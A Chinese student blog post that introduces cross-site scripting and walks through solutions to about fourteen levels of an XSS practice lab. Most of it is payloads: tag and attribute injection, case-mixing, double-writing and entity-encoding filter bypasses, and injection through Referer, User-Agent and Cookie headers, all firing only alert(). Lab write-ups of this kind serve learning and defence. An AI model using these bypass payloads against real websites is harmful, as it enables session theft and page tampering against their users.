XSS(跨站脚本攻击)
序言
好久没有写过博客了,这应该会是上大学的第一篇认真写的博客,还是非常怀念在高一高二的时候学习信息竞赛的日子,确实是一段非常有意义的时光,看着自己写的这么多博客也非常的有成就感。现在让我来总结一下本周所学习的XSS(跨站脚本攻击)的知识和内容。
什么是XSS
简介
跨站脚本攻击(Cross Site Scripting)为了与CSS进行区别,所以简写为XSS。跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
类型
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
题目
要求
在网页界面用alert()实现弹窗即可
xss1
这一道题传参传name
name=<script>alert()</script>
xss2
先随手打一个ssssssssssssssssssss
看一下源代码
<input name=keyword value="sssssssssss">
我们为了保证我们插入的xss代码可以成功执行,我们就应该做一些操作,比如说使value参数那个尖括号闭合😏,所以因此我们构造payload
"><script>alert()</script><"
xss3
这里我们还是使用刚才的套路,先一堆sssssssss进去看看
然后构造payload,发现不能够使用<>被过滤了,所以在一番研究之下,只能使用新的payload。还是要注意闭合
构造payload
' onclick=alert() '
xss4
好像和上一题是一样的
" onclick=alert() "
xss5
这里因为script变为scr_ipt,onclick等中间都被加上了一条短横线,所以我们这里又需要学习新的payload
"><a href="javascript:alert()"><"
xss6
这里经过前面相同的实验后发现应该使用大写绕过
"><ScRipT>alert()</sCriPt><"
xss7
这里经过前面相同的实验后发现写的script会被直接删掉,所以采取双写绕过
"><scrscriptipt>alert()</scscriptript><"
xss8
这个发现啥都不行,都会把script处理掉,所以采用对script进行编码
HTML实体编码(HEX)
javascript:alert()
HTML实体编码(DEC)
javascript:alert()
上面两个就是payload
xss9
按照上面那道题的写法,将一样的payload写进去,发现网页告诉我链接不合法,猜测可能是通过检测是否存在http://来进行判断合不合法,所以在刚才上一题的payload后面加上//http://
构造payload
javascript:alert()//http://
xss10
通过网页源代码,初步判断这道题是想让我们传参来触发XSS,这里经过实验后发现只有t_sort能够触发xss,所以传参t_sort
构造payload
" onclick=alert() type="text" "
xss11
这里需要抓包,在referer后面添加和上面一样的payload
构造payload
" onclick=alert() type="text" "
xss12
这里需要抓包,在User agent后面添加和上面一样的payload
构造payload
" onclick=alert() type="text" "
xss13
这里需要抓包,在cookie后面添加和上面一样的payload
构造payload
" onclick=alert() type="text" "
xss14
这题需要开VPN
这题需要开VPN
这题需要开VPN
因为我们使用的js文件可能被墙了。
本题涉及的知识点是ng-include
这里链接一篇讲的非常详细的博客:
Angular Js XSS漏洞
构造payload
src='level1.php?name=<img src=1 onerror=alert()>'
参考资料
Angular Js XSS漏洞
xss-labs-master靶机1-20关解题思路
XSS攻击-xss-lab(1-10)详细讲解
XSS攻击-xss-lab(11-20)详细讲解
xss脚本绕过限制的方法
实验24:dom型xss详解及多种场景演示
Pikachu靶场XSS思路
基于DOM的XSS
xss绕过方法(前端绕过,拼凑绕过,注释干扰绕过,编码绕过)
45. XSS篇——XSS过滤绕过技巧
XSS攻击之HTTP代码注入
CTHHub Web技能树-Xss-反射型
XSS攻击的一个校内简单实例
利用XSS窃取用户Cookie